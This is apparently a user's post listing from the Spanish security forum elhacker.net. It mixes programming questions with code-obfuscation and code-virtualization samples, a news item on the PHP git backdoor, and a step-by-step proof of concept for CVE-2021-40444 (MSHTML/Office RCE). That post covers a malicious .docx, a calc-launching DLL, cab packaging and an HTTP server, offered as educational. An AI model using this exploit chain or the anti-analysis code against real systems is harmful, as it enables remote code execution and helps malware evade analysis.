elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Temas
Páginas: [1] 2 3
1  Programación / Programación C/C++ / [C++/ASM] Ejemplo de cifrador de funciones y eliminador de códigos en: 15 Mayo 2022, 17:26 pm
Buenas gente del foro, este código lo había hecho hace unos cuantos años por el 2014, pensando que lo había perdido hasta que lo encontré hace un par de días, finalmente he decidido liberarlo como FOSS para quien quiera probarlo.

La idea es cifrar y/o destruir parte del contenido de las funciones para evitar el análisis estático de los binarios, esto lo tome como idea hace años del antiguo sistema de protección de Themida/WinLicense de Oreans:

Código
  1. #include <stdio.h>
  2. #include <math.h>
  3. #include "codeencryption.h"
  4.  
  5. #pragma optimize("",off)
  6. _declspec(noinline)int addOperation(int a, int b)
  7. {
  8. int iRetval;
  9. CodeEncryption cdProtection;
  10. cdProtection.dwPassWord = 0xDEADBAFF;
  11. cdProtection.biOptions = ENCRYPTION_PAGE_PROTECTIONS | ENCRYPTION_CLEAR_CODE;
  12. iRetval = a;
  13. BeginEncryption(&cdProtection);
  14. iRetval += b;
  15. EndEncryption(&cdProtection);
  16. return iRetval;
  17. }
  18.  
  19. _declspec(noinline)int addAndSquareRoot(int a, int b)
  20. {
  21. int iRetval;
  22. CodeEncryption cdProtection;
  23. cdProtection.dwPassWord = 0xDEADBAFF;
  24. cdProtection.biOptions = ENCRYPTION_PAGE_PROTECTIONS | ENCRYPTION_CLEAR_CODE;
  25. iRetval = a;
  26. BeginEncryption(&cdProtection);
  27. iRetval += b;
  28. iRetval = (int)sqrt(iRetval);
  29. EndEncryption(&cdProtection);
  30. return iRetval;
  31. }
  32. #pragma optimize("",on)
  33.  
  34. int main()
  35. {
  36. int a = 4, b = 21;
  37. printf("%i+%i=%i\n", a, b, addOperation(a, b));
  38. printf("%i+%i=%i\n", a, b, addOperation(a, b));
  39. getchar();
  40. printf("sqrt(%i+%i)=%i\n", a, b, addAndSquareRoot(a, b));
  41. printf("sqrt(%i+%i)=%i\n", a, b, addAndSquareRoot(a, b));
  42. getchar();
  43. return 0;
  44. }

Donde se puede ver el código original compilado se vé de la siguiente forma:



Sin embargo si se le pasa el mini sistema de protección que cifra y elimina las rutinas:



Como se pudo observar parte de la función que elegí queda cifrada y en ejecución si se ejecuta más de una vez esta se elimina del código asignando opcodes de NOP.

Desventaja:
Requiere deshabilitar el ASLR lo cuál no es lo usual hacerlo dado a que esto está habilitado por defecto para evitar exploits.

Cosas para terminar:
Mejorar la detección de las funciones que marcan el que código cifrar y/o eliminar.

Enlace al repositorio:
https://github.com/BloodSharp/CodeObfuscation


B#
2  Programación / Programación General / [VSCode/Golang] ¿Cómo ingresar texto por stdin mientras se depura? en: 1 Enero 2022, 23:03 pm
Buenas y feliz 2022 para todos, llevo hace algún tiempo queriendo aprender a utilizar Go y desde hace un tiempo tengo este pequeño detalle.

Mi consulta sería si hay alguna manera de poder ingresar algún texto por cualquier medio mientras se depura con VSCode, quisiera saber si es posible crear de alguna manera una terminal aparte para depurar el programa... Probé generando un launch.json con externalConsole: "true" pero no lo toma como opción.

Ejemplo de código:
Código:
package main

import "fmt"

func main() {
var nro int32
fmt.Print("Enter a number: ")
fmt.Scanf("%v", &nro)
fmt.Printf("Your number is %v\n", nro)
}




B#
3  Foros Generales / Sugerencias y dudas sobre el Foro / [Pregunta] Acerca del UserAgent y/o Sistema Operativo de usuarios y bots en el foro en: 26 Noviembre 2021, 01:38 am
Buenas gente del foro, siempre tuve la curiosidad de preguntar esto hace rato, aunque no me atrevía a preguntarlo por si son preguntas molestas... :silbar:

https://foro.elhacker.net/who.html

¿Por qué se esconde el UserAgent y/o sistema operativo cuando un usuario está conectado? ¿Es por alguna medida de seguridad que está fallando? ¿Se podría habilitar para los usuarios comunes o deshabilitar para los no conectados?

EDIT: Pregunto por lo de deshabilitarlo dado a que también podría ser una sugerencia para aumentar "la privacidad de los usuarios"...

Ejemplo cuando no estoy conectado en el foro:


Mientras que cuando estoy conectado:



B#
4  Programación / Programación C/C++ / Ejemplo de virtualización de código con CPU imaginaria en: 27 Octubre 2021, 17:18 pm
Buenas gente del foro, hice este código simple en un par de horas en C++ para 32 bits en Windows y lo quería compartir para que pueda servirle a alguién o quién quiera colaborar en este proyecto y podemos hacerlo completo... :P

La idea de virtualización de código es hacer complicado el análisis de ingeniería inversa de cualquier programa, creando una CPU imaginaria con sus propios conjunto de instrucciones y reemplazando el código original de assembler de la CPU real por la CPU imaginaria.

Código
  1. #include <iostream>
  2. #include "BloodVM.h"
  3.  
  4. int __declspec(naked) __stdcall Sumar()
  5. {
  6.    __asm
  7.    {
  8.        call BloodVM_Init;
  9.  
  10.        //MOV_R_N => mov eax, 4;
  11.        _emit 0x02; //OPCODE::MOV_R_N
  12.        _emit 0x05; //EAX offset
  13.        _emit 0x04; //number 4 bytes
  14.        _emit 0x00;
  15.        _emit 0x00;
  16.        _emit 0x00;
  17.        //ADD_R_N => add eax, 5;
  18.        _emit 0x04; //OPCODE::ADD_R_N
  19.        _emit 0x05; //EAX offset
  20.        _emit 0x05; //number 4 bytes
  21.        _emit 0x00;
  22.        _emit 0x00;
  23.        _emit 0x00;
  24.        //ADD_R_R => add eax, eax;
  25.        _emit 0x03; //OPCODE::ADD_R_R
  26.        _emit 0x05; //EAX offset
  27.        _emit 0x05; //EAX offset
  28.        //QUIT => Exit VM
  29.        _emit 0x00;
  30.  
  31.        call BloodVM_End;
  32.        ret;
  33.    }
  34. }
  35.  
  36. int main()
  37. {
  38.    std::cout << "Suma virtualizada (4 + 5) + (4 + 5) = " << Sumar() << std::endl;
  39.    std::cin.ignore();
  40. }



El código de ejemplo tiene apenas 5 instrucciones pero se podría implementar más. Al verse en un desamblador la función virtualizada se vería algo como esto:



Lo cuál forzaría al que quiera ver como funciona realmente el programa a analizar toda la CPU imaginaria siendo usualmente una tarea bastante compleja. Se podría crear también un programa que detecte las llamadas del inicio y fin de la virtualización y reemplazar el código real por el imaginario pero esa es una tarea bastante compleja que llevaría mucho tiempo.

Dejo el resto del código por si a alguien le interesa:

BloodVM.cpp
Código
  1. #include "BloodVM.h"
  2.  
  3. BloodVM gBloodVM;
  4.  
  5. uint32_t __declspec(naked) __stdcall GetCaller()//uint32_t dwESP)
  6. {
  7.    //return *(uint32_t*)(dwESP+4);
  8.    __asm
  9.    {
  10.        mov eax, [esp + 4];
  11.        ret;
  12.    }
  13. }
  14.  
  15. void __declspec(naked) __stdcall BloodVM_Init()
  16. {
  17.    __asm
  18.    {
  19.        pushad;
  20.        pop gBloodVM.EDI;
  21.        pop gBloodVM.ESI;
  22.        pop gBloodVM.EBP;
  23.        pop gBloodVM.ESP;
  24.        pop gBloodVM.EBX;
  25.        pop gBloodVM.EDX;
  26.        pop gBloodVM.ECX;
  27.        pop gBloodVM.EAX;
  28.  
  29.        //push gBloodVM.ESP;
  30.        call GetCaller;
  31.        mov gBloodVM.EIP, eax;
  32.        lea ecx, gBloodVM;
  33.        call BloodVM::RunVirtualMachine;
  34.        mov eax, gBloodVM.EIP;
  35.        mov [esp], eax;
  36.        ret;
  37.    }
  38. }
  39.  
  40. void __declspec(naked) __stdcall BloodVM_End()
  41. {
  42.    __asm
  43.    {
  44.        mov edi, gBloodVM.EDI;
  45.        mov esi, gBloodVM.ESI;
  46.        mov ebx, gBloodVM.EBX;
  47.        mov edx, gBloodVM.EDX;
  48.        mov ecx, gBloodVM.ECX;
  49.        mov eax, gBloodVM.EAX;
  50.        mov ebp, gBloodVM.EBP;
  51.        mov esp, gBloodVM.ESP;
  52.        ret;
  53.    }
  54. }
  55.  
  56. void BloodVM::RunVirtualMachine()
  57. {
  58.    do
  59.    {
  60.        this->currentOpcode = (uint8_t)(*((uint8_t*)this->EIP));
  61.        uint32_t nextEIP = this->vInstructions[this->currentOpcode].sizeOfInstruction;
  62.        (this->*vInstructions[this->currentOpcode].operate)();
  63.        this->EIP += nextEIP;
  64.    } while (this->currentOpcode != OPCODE::QUIT);
  65. }
  66.  
  67. void BloodVM::QUIT()
  68. {
  69.  
  70. }
  71.  
  72. void BloodVM::MOV()
  73. {
  74.    uint32_t* firstRegister;
  75.    uint32_t* secondRegister;
  76.    uint32_t firstNumber;
  77.    switch (this->currentOpcode)
  78.    {
  79.        case OPCODE::MOV_R_R:
  80.            firstRegister = &this->EDI + *(uint8_t*)(this->EIP + 1);
  81.            secondRegister = &this->EDI + *(uint8_t*)(this->EIP + 2);
  82.            *firstRegister = *secondRegister;
  83.            break;
  84.        case OPCODE::MOV_R_N:
  85.            firstRegister = &this->EDI + *(uint8_t*)(this->EIP + 1);
  86.            firstNumber = *(uint32_t*)(this->EIP + 2);
  87.            *firstRegister = firstNumber;
  88.            break;
  89.    }
  90. }
  91.  
  92. void BloodVM::ADD()
  93. {
  94.    uint32_t* firstRegister;
  95.    uint32_t* secondRegister;
  96.    uint32_t firstNumber;
  97.    switch (this->currentOpcode)
  98.    {
  99.        case OPCODE::ADD_R_R:
  100.            firstRegister = &this->EDI + *(uint8_t*)(this->EIP + 1);
  101.            secondRegister = &this->EDI + *(uint8_t*)(this->EIP + 2);
  102.            *firstRegister += *secondRegister;
  103.            break;
  104.        case OPCODE::ADD_R_N:
  105.            firstRegister = &this->EDI + *(uint8_t*)(this->EIP + 1);
  106.            firstNumber = *(uint32_t*)(this->EIP + 2);
  107.            *firstRegister += firstNumber;
  108.            break;
  109.    }
  110. }

BloodVM.h
Código
  1. #pragma once
  2. #include <cstdint>
  3. #include <vector>
  4.  
  5. enum OPCODE
  6. {
  7. QUIT,
  8. MOV_R_R,
  9. MOV_R_N,
  10. ADD_R_R,
  11. ADD_R_N,
  12. };
  13.  
  14. class BloodVM
  15. {
  16. public:
  17. BloodVM()
  18. {
  19. vInstructions =
  20. {
  21. /*
  22. All opcodes sizes are always 1 byte
  23. All registers (R) sizes are also 1 byte
  24. All numbers (N) sizes are always 4 bytes
  25. */
  26. {OPCODE::QUIT, 1, &BloodVM::QUIT},
  27. {OPCODE::MOV_R_R, 3, &BloodVM::MOV},
  28. {OPCODE::MOV_R_N, 6, &BloodVM::MOV},
  29. {OPCODE::ADD_R_R, 3, &BloodVM::ADD},
  30. {OPCODE::ADD_R_N, 6, &BloodVM::ADD},
  31. };
  32. }
  33.        uint32_t EDI, ESI, EBX, EDX, ECX, EAX, EBP, EIP, ESP;
  34. uint8_t currentOpcode;
  35. void RunVirtualMachine();
  36.  
  37. void MOV();
  38. void ADD();
  39. void QUIT();
  40.  
  41. struct INSTRUCTION
  42. {
  43. uint8_t opcode;
  44. uint8_t sizeOfInstruction;
  45. void (BloodVM::* operate)() = nullptr;
  46. };
  47.  
  48. std::vector<INSTRUCTION> vInstructions;
  49. };
  50.  
  51. void __stdcall BloodVM_Init();
  52. void __stdcall BloodVM_End();


B#
5  Seguridad Informática / Bugs y Exploits / PoC CVE-2021-40444 MSHTML y MS Office RCE en: 13 Septiembre 2021, 15:55 pm
Solo válido para motivos educativos

Fuente: https://github.com/lockedbyte/CVE-2021-40444

Generando el documento .docx:

Ir a maldoc/word/_rels/document.xml.rels y editar los textos http://<HOST> con el URL del archivo exploit.html

Luego se genera el documento .docx
Código
  1. cd maldoc/ ; zip -r maldoc.docx *

Generar el archivo dll

Código
  1. #include <windows.h>
  2.  
  3. void exec(void) {
  4. system("C:\\Windows\\System32\\calc.exe");
  5. return;
  6. }
  7.  
  8. BOOL WINAPI DllMain(
  9.    HINSTANCE hinstDLL,
  10.    DWORD fdwReason,
  11.    LPVOID lpReserved )
  12. {
  13.    switch( fdwReason )
  14.    {
  15.        case DLL_PROCESS_ATTACH:
  16.           exec();
  17.           break;
  18.  
  19.        case DLL_THREAD_ATTACH:
  20.            break;
  21.  
  22.        case DLL_THREAD_DETACH:
  23.            break;
  24.  
  25.        case DLL_PROCESS_DETACH:
  26.            break;
  27.    }
  28.    return TRUE;
  29. }

Compilar:
Código
  1. i686-w64-mingw32-gcc -shared calc.c -o calc.dll

Instalar la dependencia lcab
Código
  1. sudo apt-get install lcab

Código
  1. cp calc.dll championship.inf ; mkdir gen/ ; cd gen/ ; lcab '../championship.inf' out.cab

Copiar el archivo out.cab en el directorio www/, modificar exploit.html para apuntar a http://localhost/out.cab

Ejecutar el script: patch_cab.py

Finalmente crear el servidor:

Código
  1. cd www/ ; sudo python3 -m http.server 80

Parte final

Ejecutar maldoc.docx en una Máquina virtual.



B#
6  Programación / Ingeniería Inversa / [GDB] ¿Cómo consultar "Examinar memoria" con tamaño dinámico? en: 11 Junio 2021, 01:25 am
Buenas gente del foro, desde hace poco estoy aprendiendo a utilizar GDB y quisiera saber como se podría usar el comando examinar memoria sabiendo que fue previamente almacenado en una variable el tamaño del buffer...

Programa de ejemplo de para practicar:
Código
  1. #include <cstdio>
  2. #include <cstdlib>
  3. #include <ctime>
  4. #include <cstdint>
  5.  
  6. int main(int argc, char**argv)
  7. {
  8.    char *pBuffer=0;
  9.    int index=0,iUnknownSize=0;
  10.  
  11.    srand(time(NULL));
  12.  
  13.    do
  14.    {
  15.        iUnknownSize=rand()%20+1;
  16.    }
  17.    while(iUnknownSize<=0);
  18.  
  19.    pBuffer=(char*)malloc(iUnknownSize);
  20.    if(pBuffer)
  21.    {
  22.        for(;index<iUnknownSize;index++)
  23.            pBuffer[index]=(char)(rand()%254+1)&0xFF;
  24.        printf("Comienza el procesado...\n");
  25.        for(index=0;index<iUnknownSize;index++)
  26.            printf("%X\n",(char)(pBuffer[index]&(uint64_t)0xFF));
  27.        printf("Finaliza el procesado...\n");
  28.        free(pBuffer);
  29.    }
  30.    printf("\n");
  31.    return 0;
  32. }
  33.  

Al poner un breakpoint al primer printf que es lo que me interesaría puedo consultar la variable iUnknownSize y luego utilizarla con el comando x (examinar memoria)



Pero la idea sería final sería poner al breakpoint un comando automático que dumpee como lo siguiente:

Código:
x/(obtener valor de iUnknownSize)xb pBuffer

¿Mi pregunta sería hay alguna manera de especificarle depurador dicho valor al examinar?


B#
7  Programación / Desarrollo Web / Consulta HSTS invalido ¿McAfee o terceros están intentando interceptar mi conexión? en: 31 Mayo 2021, 21:05 pm
Buenas gente del foro, resulta que desde hace un par de días o semanas (no recuerdo bien) veo que parte de las publicaciones (en especial cuando suben imágenes) no aparecen, este problema se presentan en varias páginas con HSTS:



Cuando puse para ver si se podía ver el problema me aparece certificado inválido:



el error en cuestión es el siguiente con la cadena de certificados de McAfee:

Citar
https://i.postimg.cc/50kQY58h/ransomware.jpg

Unable to communicate securely with peer: requested domain name does not match the server's certificate.

Seguridad de transporte estricto HTTP: true
HTTP Public Key Pinning: false

Cadena de certificados:

-----BEGIN CERTIFICATE-----
MIIG4DCCBcigAwIBAgIRAKFJxtTwTGylLRCEgid/6dgwDQYJKoZIhvcNAQELBQAw
ZDELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRQwEgYDVQQHEwtTYW50YSBDbGFy
YTEVMBMGA1UEChMMTWNBZmVlLCBJbmMuMRswGQYDVQQDExJNY0FmZWUgT1YgU1NM
IENBIDIwHhcNMjAwMTI0MDAwMDAwWhcNMjIwMTIzMjM1OTU5WjCBuTELMAkGA1UE
BhMCVVMxDjAMBgNVBBETBTk1MDU0MRMwEQYDVQQIEwpDYWxpZm9ybmlhMRQwEgYD
VQQHEwtTYW50YSBDbGFyYTEiMCAGA1UECRMZMjgyMSBNaXNzaW9uIENvbGxlZ2Ug
Qmx2ZDEVMBMGA1UEChMMTWNBZmVlLCBJbmMuMRQwEgYDVQQLEwtFbmdpbmVlcmlu
ZzEeMBwGA1UEAwwVKi5uYWRpLnNocC5tY2FmZWUuY29tMIIBIjANBgkqhkiG9w0B
AQEFAAOCAQ8AMIIBCgKCAQEA2F1453hSQdkcW1IX/+ng3LFBPvMinVr+SOYbgzsy
NqtwE8duDGJCSBAruSm9JjbClDoggNot/2GiTgfhcDshWPMY9FQ++ROVAbNIHbCF
phl2uJAfsvcDHWW4fgJfjxvvX1jeDxeaa0PDyhJob4QhxPSNAwjM2sgdnYesfsCm
iYb9WmP/w+sfB6pzny1UxJsWUtC99ubujrxGnQgF6zFd+JgcfzEGZnIkTJXiVala
rkddwhSHZYvoonZtaueB1ytVNYHErTL31gsBAGrXC0CUfHBSXabCtcTnrDw7Vcd1
R0MT8WIjvL1oL3YfmyNYhkGD8usQM1LhxziYp08YpJ6K6wIDAQABo4IDNTCCAzEw
HwYDVR0jBBgwFoAU0E4ixT1hcgq7J7SSNre6lZ8nMZwwHQYDVR0OBBYEFODD4jNn
LSmqxP7RrB9wXKWkRia5MA4GA1UdDwEB/wQEAwIFoDAMBgNVHRMBAf8EAjAAMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBLBgNVHSAERDBCMDYGCysGAQQB
sjEBAgIrMCcwJQYIKwYBBQUHAgEWGWh0dHBzOi8vY3BzLnVzZXJ0cnVzdC5jb20w
CAYGZ4EMAQICMDwGA1UdHwQ1MDMwMaAvoC2GK2h0dHA6Ly9jcmwudXNlcnRydXN0
LmNvbS9NY0FmZWVPVlNTTENBMi5jcmwwbgYIKwYBBQUHAQEEYjBgMDcGCCsGAQUF
BzAChitodHRwOi8vY3J0LnVzZXJ0cnVzdC5jb20vTWNBZmVlT1ZTU0xDQTIuY3J0
MCUGCCsGAQUFBzABhhlodHRwOi8vb2NzcC51c2VydHJ1c3QuY29tMDUGA1UdEQQu
MCyCFSoubmFkaS5zaHAubWNhZmVlLmNvbYITbmFkaS5zaHAubWNhZmVlLmNvbTCC
AX4GCisGAQQB1nkCBAIEggFuBIIBagFoAHcARqVV63X6kSAwtaKJafTzfREsQXS+
/Um4havy/HD+bUcAAAFv2YfeWAAABAMASDBGAiEAk5zZy644uefMUr0GXMGM2xlw
Xhq56Y0OAu0M+1Oe1icCIQDv6wLp5CPznT8oQ6TRNyEdFEJkZQLhV8RMO5feBbue
IQB2AG9Tdqwx8DEZ2JkApFEV/3cVHBHZAsEAKQaNsgiaN9kTAAABb9mH3kQAAAQD
AEcwRQIgaZQqZx+5dHRKrOrkkOqEh1fck4aHHv5sTxBKHehLVq8CIQCYRF5/mCJn
wVNWcefNZdZDtFlVAl1C6nbWezKKK/ZeEwB1ACJFRQdZVSRWlj+hL/H3bYbgIyZj
rcBLf13Gg1xu4g8CAAABb9mH3kYAAAQDAEYwRAIgKV5WemqhACeQWBAc2D70iSsP
hM1KdjUMGMiJtyz5NZcCIC9bJt/5eyJQ6xSn76Lr1g+1EJTNpMvRO4KWZEDvogX1
MA0GCSqGSIb3DQEBCwUAA4IBAQB3ZRwOP+6Y2xA0mwW4feo3bkkzu/FnZXODHgZ7
+DbjB1MSlHeNzEC0bDakfkjNPeA6FxM6fZXH19K2/dz5f4M2PSbaiX92cbzlx3Ay
uDoXUDjMRRo4l1Jn5zkjH56Yw5HkneJSGcLFjWYdO10VDqVmaVpMQdaiM/wlsUcc
dHmHXWO4AiNpOIGQPM+4+ufCkqzDn9yqapg1NwipP+HqDmbzVM6/NXF3dmpwvpbY
GwkHzrGfByHz/0HWwgGCV8IHQsgHqNshv/8IjtnRFiYMm/xthbRGyDsrIBbq6ibF
ihzSwOboi+uJoq8nRYrxzv8Kw57hXlDR3qcLt2n147cMju9p
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIF7zCCA9egAwIBAgIRAK7/wlnFDcFqVcW8/s2KH2YwDQYJKoZIhvcNAQEMBQAw
gYgxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpOZXcgSmVyc2V5MRQwEgYDVQQHEwtK
ZXJzZXkgQ2l0eTEeMBwGA1UEChMVVGhlIFVTRVJUUlVTVCBOZXR3b3JrMS4wLAYD
VQQDEyVVU0VSVHJ1c3QgUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTE0
MTAyNzAwMDAwMFoXDTI0MTAyNjIzNTk1OVowZDELMAkGA1UEBhMCVVMxCzAJBgNV
BAgTAkNBMRQwEgYDVQQHEwtTYW50YSBDbGFyYTEVMBMGA1UEChMMTWNBZmVlLCBJ
bmMuMRswGQYDVQQDExJNY0FmZWUgT1YgU1NMIENBIDIwggEiMA0GCSqGSIb3DQEB
AQUAA4IBDwAwggEKAoIBAQDA00doqWgFgNDPHhzzMChcUf//pSjGE0eUpq1webf5
v1vVyw+PMTgQiFTbEVrFDUqymQ6pO1+gT8xQKcstluQhbRnS7D1bARcnnWPpGHTG
eBvHjpkQNTs+r3OiBrEVAQGyyTR6yhsiKxGpVEn/uCaNkkSuvFNwEVgMA3G5qFU2
n3RmzfCacWEHvf5tJYdxaPmIUx8afU+FQ8DaenwlkKttfXngP7i/ds2cv0YFlyHs
93pxX46fnra6ZZeCTre+umq6JnhETi03NuyPyY+qPWmKTbIf8UssKyojiHFAYRtg
wmiNM3q5VY9mPx1wmzir1BOdbHySbitGCloo93DOxYLhAgMBAAGjggF1MIIBcTAf
BgNVHSMEGDAWgBRTeb9aqitKz1SA4dibwJ3ysgNmyzAdBgNVHQ4EFgQU0E4ixT1h
cgq7J7SSNre6lZ8nMZwwDgYDVR0PAQH/BAQDAgGGMBIGA1UdEwEB/wQIMAYBAf8C
AQAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMCIGA1UdIAQbMBkwDQYL
KwYBBAGyMQECAiswCAYGZ4EMAQICMFAGA1UdHwRJMEcwRaBDoEGGP2h0dHA6Ly9j
cmwudXNlcnRydXN0LmNvbS9VU0VSVHJ1c3RSU0FDZXJ0aWZpY2F0aW9uQXV0aG9y
aXR5LmNybDB2BggrBgEFBQcBAQRqMGgwPwYIKwYBBQUHMAKGM2h0dHA6Ly9jcnQu
dXNlcnRydXN0LmNvbS9VU0VSVHJ1c3RSU0FBZGRUcnVzdENBLmNydDAlBggrBgEF
BQcwAYYZaHR0cDovL29jc3AudXNlcnRydXN0LmNvbTANBgkqhkiG9w0BAQwFAAOC
AgEAQfitIB2OQNHI9zyvxOrokB8yiGw2OqVhLX+kqSjHU4pXGIcpwONn+J5qShOr
pXJe2WLdp9S7U8nr3GvjuF/w+43arNYSiYys6j665sFkZRBV8/7smq2e+aAHK+Lw
AMIN0KXly2ilgV7AD9Ck5vMJBwe2f/vA5spFSDc74uPzL8NCT6f9FxJkMS1pGPTR
Oz+tCpiASck+OSTRdG2EbZw5ho+4iT+rv5SFQghPw2XpCwyA6giiPZBBABw8PBj2
MthbQBDP4AO4oVFg9tHealvpYBYcgUa+lN9OI8/GofXwH5FqMvXo5kL++2TzjBtt
LnJglcladdmOsUV0lfyqdj1mVoPWG+fpYjx+YJEfkykIk5dXkLKRh1spGj9GCmBx
DsywNiKCOWFaUO1kKTG//X5iCUVYBGiQhBnllqC6rsVRD50X+Zun8cRkzvKuGUO2
MbQwpFRif8kmzp6DikZ2iaADnORVx2DXaqkCFECxPSN7rYjAIwK6EZtS6sY2N198
PX9kOPeK79z1FZ10svRGFcrN231y29ejZH6utvJexqLrLjntE/G7hc8y6hcXTuLB
gn5V32VuPFpdiMK3evnLFrot4dKDMe6bM22YdvXctNPTsmnERIxFQd1YTnq9qnHB
BVZDj7BNt3tJWdGqP9iBBQUqaFofl7H1zwmFVCXV76ngqDE=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIF3jCCA8agAwIBAgIQAf1tMPyjylGoG7xkDjUDLTANBgkqhkiG9w0BAQwFADCB
iDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0pl
cnNleSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNV
BAMTJVVTRVJUcnVzdCBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMTAw
MjAxMDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMCVVMxEzARBgNV
BAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU
aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBSU0EgQ2Vy
dGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIK
AoICAQCAEmUXNg7D2wiz0KxXDXbtzSfTTK1Qg2HiqiBNCS1kCdzOiZ/MPans9s/B
3PHTsdZ7NygRK0faOca8Ohm0X6a9fZ2jY0K2dvKpOyuR+OJv0OwWIJAJPuLodMkY
tJHUYmTbf6MG8YgYapAiPLz+E/CHFHv25B+O1ORRxhFnRghRy4YUVD+8M/5+bJz/
Fp0YvVGONaanZshyZ9shZrHUm3gDwFA66Mzw3LyeTP6vBZY1H1dat//O+T23LLb2
VN3I5xI6Ta5MirdcmrS3ID3KfyI0rn47aGYBROcBTkZTmzNg95S+UzeQc0PzMsNT
79uq/nROacdrjGCT3sTHDN/hMq7MkztReJVni+49Vv4M0GkPGw/zJSZrM233bkf6
c0Plfg6lZrEpfDKEY1WJxA3Bk1QwGROs0303p+tdOmw1XNtB1xLaqUkL39iAigmT
Yo61Zs8liM2EuLE/pDkP2QKe6xJMlXzzawWpXhaDzLhn4ugTncxbgtNMs+1b/97l
c6wjOy0AvzVVdAlJ2ElYGn+SNuZRkg7zJn0cTRe8yexDJtC/QV9AqURE9JnnV4ee
UB9XVKg+/XRjL7FQZQnmWEIuQxpMtPAlR1n6BB6T1CZGSlCBst6+eLf8ZxXhyVeE
Hg9j1uliutZfVS7qXMYoCAQlObgOK6nyTJccBz8NUvXt7y+CDwIDAQABo0IwQDAd
BgNVHQ4EFgQUU3m/WqorSs9UgOHYm8Cd8rIDZsswDgYDVR0PAQH/BAQDAgEGMA8G
A1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAFzUfA3P9wF9QZllDHPF
Up/L+M+ZBn8b2kMVn54CVVeWFPFSPCeHlCjtHzoBN6J2/FNQwISbxmtOuowhT6KO
VWKR82kV2LyI48SqC/3vqOlLVSoGIG1VeCkZ7l8wXEskEVX/JJpuXior7gtNn3/3
ATiUFJVDBwn7YKnuHKsSjKCaXqeYalltiz8I+8jRRa8YFWSQEg9zKC7F4iRO/Fjs
8PRF/iKz6y+O0tlFYQXBl2+odnKPi4w2r78NBc5xjeambx9spnFixdjQg3IM8WcR
iQycE0xyNN+81XHfqnHd4blsjDwSXWXavVcStkNr/+XeTWYRUc+ZruwXtuhxkYze
Sf7dNXGiFSeUHM9h4ya7b6NnJSFd5t0dCy5oGzuCr+yDZ4XUmFF0sbmZgIn/f3gZ
XHlKYC6SQK5MNyosycdiyA5d9zZbyuAlJQG03RoHnHcAP9Dc1ew91Pq7P8yF1m9/
qS3fuQL39ZeatTXaw2ewh0qpKJ4jjv9cJ2vhsE/zB+4ALtRZh8tSQZXq9EfX7mRB
VXyNWQKV3WKdwrnuWih0hKWbt5DHDAff9Yk2dDLWKMGwsAvgnEzDHNb842m1R0aB
L6KCq9NjRHDEjf8tM7qtj3u1cIiuPhnPQCjY/MiQu12ZIvVS5ljFH4gxQ+6IHdfG
jjxDah2nGN59PRbxYvnKkKj9
-----END CERTIFICATE-----

Mi consulta es: ¿Hay alguna manera de evitar esta "inyección de certificado"? ¿Por qué sucede esto? Y quisiera saber si hay alguna contra-medida para tener una conexión normal...


B#
8  Foros Generales / Foro Libre / Backdoor RCE plantado en el servidor GIT de PHP en: 3 Abril 2021, 17:35 pm
Backdoor RCE plantado en el servidor GIT de PHP


(imagen de unaaldia.hispasec.com)

En un nuevo ataque a la cadena de suministro de software, se hackeo el repositorio oficial de PHP Git y se manipuló su código fuente. Dos modificaciones maliciosas fueron enviadas el domingo al repositorio propio git.php.net mantenido por el equipo PHP. Hasta ahora el código se encontraba en Github sólo como respaldo.

El incidente es alarmante considerando que PHP sigue siendo el lenguaje de programación del lado del servidor que alimenta más del 79% de los sitios web en Internet. Los atacantes habían firmado estos compromisos como si fueran realizados por desarrolladores y mantenedores de PHP conocidos, Rasmus Lerdorf y Nikita Popov.

En los dos commits maliciosos realizado [1, 2], los atacantes publicaron un cambio para "corregir error tipográfico" con el pretexto de que se trataba de una pequeña corrección tipográfica. Sin embargo, echando un vistazo a la línea 370 agregada donde se llama a la función zend_eval_string, el código en realidad planta una puerta trasera para obtener una ejecución remota de código (RCE) fácil en un sitio web que ejecuta esta versión secuestrada de PHP.

Leer más en Blog Segu-Info


B#
9  Programación / Programación C/C++ / [Solucionado][Consulta / Duda] Desplazando más de 31 bits en: 14 Marzo 2021, 06:51 am
Primero antes que nada buenos días/noches.

Bueno digamos que estaba muy aburrido :xD y me puse a generar un código que sume en Complemento a 2:

Código
  1. #include <cstdio>
  2. #include <cstdint>
  3.  
  4. int64_t SumadorCompleto(int64_t A,int64_t B,uint8_t TamanioBits=(sizeof(int64_t)*8))
  5. {
  6.    int64_t Resultado;
  7.    int64_t PrimeraOp;
  8.    int64_t SegundaOp;
  9.    int64_t i;
  10.    int64_t CarryActual;
  11.    CarryActual^=CarryActual;
  12.    Resultado^=Resultado;
  13.    for(i^=i;i<TamanioBits;i++)
  14.    {
  15.        PrimeraOp=((A>>i)&1)^((B>>i)&1);
  16.        SegundaOp=(PrimeraOp&1)^(CarryActual&1);
  17.        Resultado|=(SegundaOp<<i)&(1<<i);
  18.        CarryActual=(PrimeraOp&1)&&(CarryActual&1)||((((A>>i)&1)&&((B>>i)&1))&1);
  19.    }
  20.    return Resultado;
  21. }
  22.  
  23. int main()
  24. {
  25.    int64_t A=4,B=-7;
  26.    printf("A:%li + B:%li = %li\n",A,B,SumadorCompleto(A,B));
  27.    return 0;
  28. }

